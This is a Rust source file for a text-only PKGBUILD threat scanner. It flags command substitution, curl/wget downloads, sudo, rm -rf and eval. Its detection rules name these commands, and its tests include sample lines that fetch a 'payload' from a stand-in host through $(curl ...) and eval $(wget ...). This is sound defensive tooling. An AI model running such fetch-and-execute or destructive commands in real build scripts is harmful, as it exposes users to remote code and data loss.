Skip to main content

arch_toolkit/sandbox/
security.rs

1//! Deterministic, text-only PKGBUILD threat-model analysis.
2//!
3//! This module never executes, sources, expands, or builds PKGBUILD content.
4//! It flags a deliberately small set of review signals with stable `SB001`
5//! through `SB005` rule IDs. External scanners and reputation lookups are
6//! intentionally deferred: adding a tool invocation would require an explicit
7//! executable allowlist, timeout, output limit, and mockable adapter without
8//! making it a default dependency.
9
10use crate::types::sandbox::{
11    SandboxAnalysisLimitation, SandboxFinding, SandboxRuleId, SandboxStaticAnalysis,
12};
13
14/// Maximum source characters retained as evidence for one finding.
15const MAX_EVIDENCE_CHARS: usize = 240;
16
17/// What: Analyze unexecuted PKGBUILD text for deterministic threat-model signals.
18///
19/// Inputs:
20/// - `package_name`: Caller-owned package label for the resulting report.
21/// - `pkgbuild_text`: Raw PKGBUILD text; it is treated only as text.
22///
23/// Output:
24/// - `SandboxStaticAnalysis` with stable rule findings, bounded evidence, and
25///   explicit limitations.
26///
27/// Details:
28/// - Flags command substitution (`SB001`), download commands (`SB002`),
29///   privilege escalation (`SB003`), recursive forced removal (`SB004`), and
30///   dynamic evaluation (`SB005`).
31/// - Does not execute a shell, source files, access the network, invoke an
32///   external scanner, or produce an aggregate score.
33/// - It is not a complete Bash parser, so callers must review findings and the
34///   returned limitations before making security decisions.
35#[must_use]
36pub fn analyze_pkgbuild_security(package_name: &str, pkgbuild_text: &str) -> SandboxStaticAnalysis {
37    let findings = pkgbuild_text
38        .lines()
39        .enumerate()
40        .flat_map(|(index, line)| analyze_line(index.saturating_add(1), line))
41        .collect();
42
43    SandboxStaticAnalysis {
44        package_name: package_name.to_string(),
45        findings,
46        limitations: standard_limitations(),
47    }
48}
49
50/// What: Analyze one source line against every stable rule.
51///
52/// Inputs:
53/// - `line_number`: One-based source line number.
54/// - `line`: Raw PKGBUILD source line.
55///
56/// Output:
57/// - Findings in stable rule-ID order for this source line.
58///
59/// Details:
60/// - Comments and quoted argument content are excluded from command-position
61///   checks; command substitution is checked separately because it can execute
62///   inside double quotes.
63fn analyze_line(line_number: usize, line: &str) -> Vec<SandboxFinding> {
64    let code = code_without_comment(line);
65    let command_view = without_quoted_content(&code);
66    let commands = command_segments(&command_view);
67    let mut findings = Vec::new();
68
69    if contains_command_substitution(&code) {
70        findings.push(finding(
71            SandboxRuleId::CommandSubstitution,
72            line_number,
73            line,
74        ));
75    }
76    if commands.iter().any(|command| is_remote_download(command)) {
77        findings.push(finding(SandboxRuleId::RemoteDownload, line_number, line));
78    }
79    if commands.iter().any(|command| is_privileged(command)) {
80        findings.push(finding(SandboxRuleId::PrivilegedCommand, line_number, line));
81    }
82    if commands
83        .iter()
84        .any(|command| is_destructive_removal(command))
85    {
86        findings.push(finding(
87            SandboxRuleId::DestructiveRemoval,
88            line_number,
89            line,
90        ));
91    }
92    if commands
93        .iter()
94        .any(|command| is_dynamic_evaluation(command))
95    {
96        findings.push(finding(SandboxRuleId::DynamicEvaluation, line_number, line));
97    }
98
99    findings
100}
101
102/// What: Construct one bounded structured finding.
103///
104/// Inputs:
105/// - `rule_id`: Stable identifier for the matched rule.
106/// - `line_number`: One-based source line number.
107/// - `line`: Source text supplying review evidence.
108///
109/// Output:
110/// - A finding retaining only a bounded, trimmed source excerpt.
111///
112/// Details:
113/// - Evidence is copied without executing or expanding it.
114fn finding(rule_id: SandboxRuleId, line_number: usize, line: &str) -> SandboxFinding {
115    SandboxFinding {
116        rule_id,
117        line: line_number,
118        evidence: bounded_evidence(line),
119    }
120}
121
122/// What: Return explicit scope limitations for every static-analysis report.
123///
124/// Inputs: None.
125///
126/// Output:
127/// - Stable limitation categories in presentation order.
128///
129/// Details:
130/// - Keeping these in every report prevents callers from treating an empty
131///   finding list as a proof of safety.
132fn standard_limitations() -> Vec<SandboxAnalysisLimitation> {
133    vec![
134        SandboxAnalysisLimitation::TextOnlyNoExecution,
135        SandboxAnalysisLimitation::NotFullShellParser,
136        SandboxAnalysisLimitation::NoExternalReputationOrScanner,
137        SandboxAnalysisLimitation::NotProofOfMaliciousIntent,
138    ]
139}
140
141/// What: Remove an unquoted shell comment from one source line.
142///
143/// Inputs:
144/// - `line`: Raw source line that can contain single or double quoted strings.
145///
146/// Output:
147/// - Source before an unquoted `#` comment delimiter.
148///
149/// Details:
150/// - This is a bounded lexical helper, not a complete Bash parser. It preserves
151///   quoted `#` values so command-substitution detection has the original text.
152fn code_without_comment(line: &str) -> String {
153    let mut output = String::with_capacity(line.len());
154    let mut quote = None;
155    let mut escaped = false;
156
157    for character in line.chars() {
158        if escaped {
159            output.push(character);
160            escaped = false;
161            continue;
162        }
163        if character == '\\' && quote != Some('\'') {
164            output.push(character);
165            escaped = true;
166            continue;
167        }
168        if matches!(character, '\'' | '"') && quote != Some(character) {
169            if quote.is_none() {
170                quote = Some(character);
171            }
172        } else if quote == Some(character) {
173            quote = None;
174        } else if character == '#' && quote.is_none() {
175            break;
176        }
177        output.push(character);
178    }
179    output
180}
181
182/// What: Replace quoted argument content with spaces for command-position checks.
183///
184/// Inputs:
185/// - `code`: Source with comments already removed.
186///
187/// Output:
188/// - A same-shape command view without quoted literals.
189///
190/// Details:
191/// - This avoids flagging command names displayed in descriptions or `echo`
192///   arguments while retaining unquoted command separators.
193fn without_quoted_content(code: &str) -> String {
194    let mut output = String::with_capacity(code.len());
195    let mut quote = None;
196    let mut escaped = false;
197
198    for character in code.chars() {
199        if escaped {
200            output.push(if quote.is_some() { ' ' } else { character });
201            escaped = false;
202            continue;
203        }
204        if character == '\\' && quote != Some('\'') {
205            output.push(if quote.is_some() { ' ' } else { character });
206            escaped = true;
207            continue;
208        }
209        if matches!(character, '\'' | '"') && quote != Some(character) {
210            if quote.is_none() {
211                quote = Some(character);
212            }
213            output.push(' ');
214        } else if quote == Some(character) {
215            quote = None;
216            output.push(' ');
217        } else if quote.is_some() {
218            output.push(' ');
219        } else {
220            output.push(character);
221        }
222    }
223    output
224}
225
226/// What: Detect executable command-substitution syntax outside single quotes.
227///
228/// Inputs:
229/// - `code`: Source with comments already removed.
230///
231/// Output:
232/// - `true` for `$(` or backtick substitution syntax that the shell could run.
233///
234/// Details:
235/// - Double-quoted substitution remains executable and is intentionally
236///   detected. Single-quoted text is ignored.
237fn contains_command_substitution(code: &str) -> bool {
238    let mut characters = code.chars().peekable();
239    let mut in_single_quote = false;
240    let mut escaped = false;
241
242    while let Some(character) = characters.next() {
243        if escaped {
244            escaped = false;
245            continue;
246        }
247        if character == '\\' && !in_single_quote {
248            escaped = true;
249            continue;
250        }
251        if character == '\'' {
252            in_single_quote = !in_single_quote;
253            continue;
254        }
255        if !in_single_quote
256            && (character == '`' || (character == '$' && characters.peek() == Some(&'(')))
257        {
258            return true;
259        }
260    }
261    false
262}
263
264/// What: Extract command-position token segments from a shell-like source line.
265///
266/// Inputs:
267/// - `command_view`: Comment-free source with quoted argument content removed.
268///
269/// Output:
270/// - Command token vectors after shell separators, braces, and substitution
271///   delimiters.
272///
273/// Details:
274/// - Leading shell control words and environment assignments are skipped.
275/// - Splitting substitution delimiters lets a download command inside `$(...)`
276///   retain its command position without executing or evaluating it.
277/// - This deliberately recognizes a conservative subset sufficient for the
278///   documented rules and avoids pretending to parse all Bash grammar.
279fn command_segments(command_view: &str) -> Vec<Vec<&str>> {
280    command_view
281        .split([';', '|', '{', '}', '(', ')'])
282        .filter_map(command_tokens)
283        .collect()
284}
285
286/// What: Extract one executable command token sequence from a source segment.
287///
288/// Inputs:
289/// - `segment`: Text between shell separators or function braces.
290///
291/// Output:
292/// - Tokens starting at a likely command position, or `None` for assignments
293///   and declarations without a command.
294///
295/// Details:
296/// - Environment assignments preceding a command are skipped. The helper does
297///   not expand variables or execute any shell syntax.
298fn command_tokens(segment: &str) -> Option<Vec<&str>> {
299    let mut tokens = segment.split_whitespace().peekable();
300    while matches!(tokens.peek(), Some(&"if" | &"then" | &"do" | &"!")) {
301        let _ = tokens.next();
302    }
303    while tokens.peek().is_some_and(|token| token.contains('=')) {
304        let _ = tokens.next();
305    }
306    let command = tokens.next()?;
307    if command.ends_with("()") || command == "function" {
308        return None;
309    }
310
311    let mut output = vec![command];
312    output.extend(tokens);
313    Some(output)
314}
315
316/// What: Determine whether a command token sequence downloads remote content.
317///
318/// Inputs:
319/// - `command`: Tokens beginning at an executable command position.
320///
321/// Output:
322/// - `true` for `curl`, `wget`, or `git clone` invocation patterns.
323///
324/// Details:
325/// - The rule is a review signal and does not contact the URL or infer intent.
326fn is_remote_download(command: &[&str]) -> bool {
327    matches!(command.first(), Some(&"curl" | &"wget")) || matches!(command, ["git", "clone", ..])
328}
329
330/// What: Determine whether a command starts a privilege escalation tool.
331///
332/// Inputs:
333/// - `command`: Tokens beginning at an executable command position.
334///
335/// Output:
336/// - `true` for `sudo`, `doas`, or `pkexec`.
337///
338/// Details:
339/// - The rule is text-only and does not attempt elevation or command execution.
340fn is_privileged(command: &[&str]) -> bool {
341    matches!(command.first(), Some(&"sudo" | &"doas" | &"pkexec"))
342}
343
344/// What: Determine whether a command performs recursive forced removal.
345///
346/// Inputs:
347/// - `command`: Tokens beginning at an executable command position.
348///
349/// Output:
350/// - `true` when an `rm` invocation has an option containing both `r` and `f`.
351///
352/// Details:
353/// - This catches common `rm -rf` spellings without interpreting paths or
354///   claiming the removal targets are malicious.
355fn is_destructive_removal(command: &[&str]) -> bool {
356    let Some(position) = command.iter().position(|token| *token == "rm") else {
357        return false;
358    };
359    command[position.saturating_add(1)..]
360        .iter()
361        .filter_map(|token| token.strip_prefix('-'))
362        .any(|options| options.contains('r') && options.contains('f'))
363}
364
365/// What: Determine whether a command dynamically evaluates shell text.
366///
367/// Inputs:
368/// - `command`: Tokens beginning at an executable command position.
369///
370/// Output:
371/// - `true` for `eval` or shell-interpreter `-c` invocation patterns.
372///
373/// Details:
374/// - Dynamic evaluation obscures command text and is flagged for review without
375///   interpreting its argument.
376fn is_dynamic_evaluation(command: &[&str]) -> bool {
377    matches!(command.first(), Some(&"eval"))
378        || matches!(command, ["bash" | "sh" | "dash", option, ..] if option.starts_with('-') && option.contains('c'))
379}
380
381/// What: Retain a bounded human-readable source excerpt.
382///
383/// Inputs:
384/// - `line`: Raw source line associated with a finding.
385///
386/// Output:
387/// - Trimmed text limited to [`MAX_EVIDENCE_CHARS`] Unicode scalar values.
388///
389/// Details:
390/// - Appends an ellipsis when truncation occurs and never attempts to interpret
391///   the source as executable content.
392fn bounded_evidence(line: &str) -> String {
393    let trimmed = line.trim();
394    let mut characters = trimmed.chars();
395    let evidence: String = characters.by_ref().take(MAX_EVIDENCE_CHARS).collect();
396    if characters.next().is_some() {
397        return format!("{evidence}…");
398    }
399    evidence
400}
401
402#[cfg(test)]
403mod tests {
404    use super::{analyze_pkgbuild_security, code_without_comment};
405    use crate::types::sandbox::SandboxRuleId;
406
407    #[test]
408    /// What: Ignore shell-looking text in comments and quoted package metadata.
409    ///
410    /// Inputs:
411    /// - A benign source fixture with command names in non-command positions.
412    ///
413    /// Output:
414    /// - An empty finding list.
415    ///
416    /// Details:
417    /// - Guards the conservative lexical false-positive boundary.
418    fn ignores_comments_and_quoted_metadata() {
419        let report = analyze_pkgbuild_security(
420            "fixture",
421            "pkgdesc='curl and sudo are words'\n# eval $(wget https://invalid.example)",
422        );
423        assert!(report.findings.is_empty());
424    }
425
426    #[test]
427    /// What: Preserve quoted hash characters while discarding comments.
428    ///
429    /// Inputs:
430    /// - One quoted URL fragment followed by an actual comment.
431    ///
432    /// Output:
433    /// - The quoted hash remains and the comment is removed.
434    ///
435    /// Details:
436    /// - Keeps lexical comment handling predictable without a shell parser.
437    fn strips_only_unquoted_comments() {
438        assert_eq!(
439            code_without_comment("url='https://example.invalid/#anchor' # comment"),
440            "url='https://example.invalid/#anchor' "
441        );
442    }
443
444    #[test]
445    /// What: Emit command-substitution and remote-download findings from one line.
446    ///
447    /// Inputs:
448    /// - An assignment whose value uses `$(curl ...)`.
449    ///
450    /// Output:
451    /// - `SB001` and `SB002` findings.
452    ///
453    /// Details:
454    /// - Confirms command extraction sees the command within substitution while
455    ///   keeping the source unexecuted.
456    fn recognizes_download_inside_command_substitution() {
457        let report = analyze_pkgbuild_security(
458            "fixture",
459            "payload=$(curl -fsSL https://invalid.example/payload)",
460        );
461        let ids: Vec<SandboxRuleId> = report
462            .findings
463            .iter()
464            .map(|finding| finding.rule_id)
465            .collect();
466        assert_eq!(
467            ids,
468            [
469                SandboxRuleId::CommandSubstitution,
470                SandboxRuleId::RemoteDownload
471            ]
472        );
473    }
474}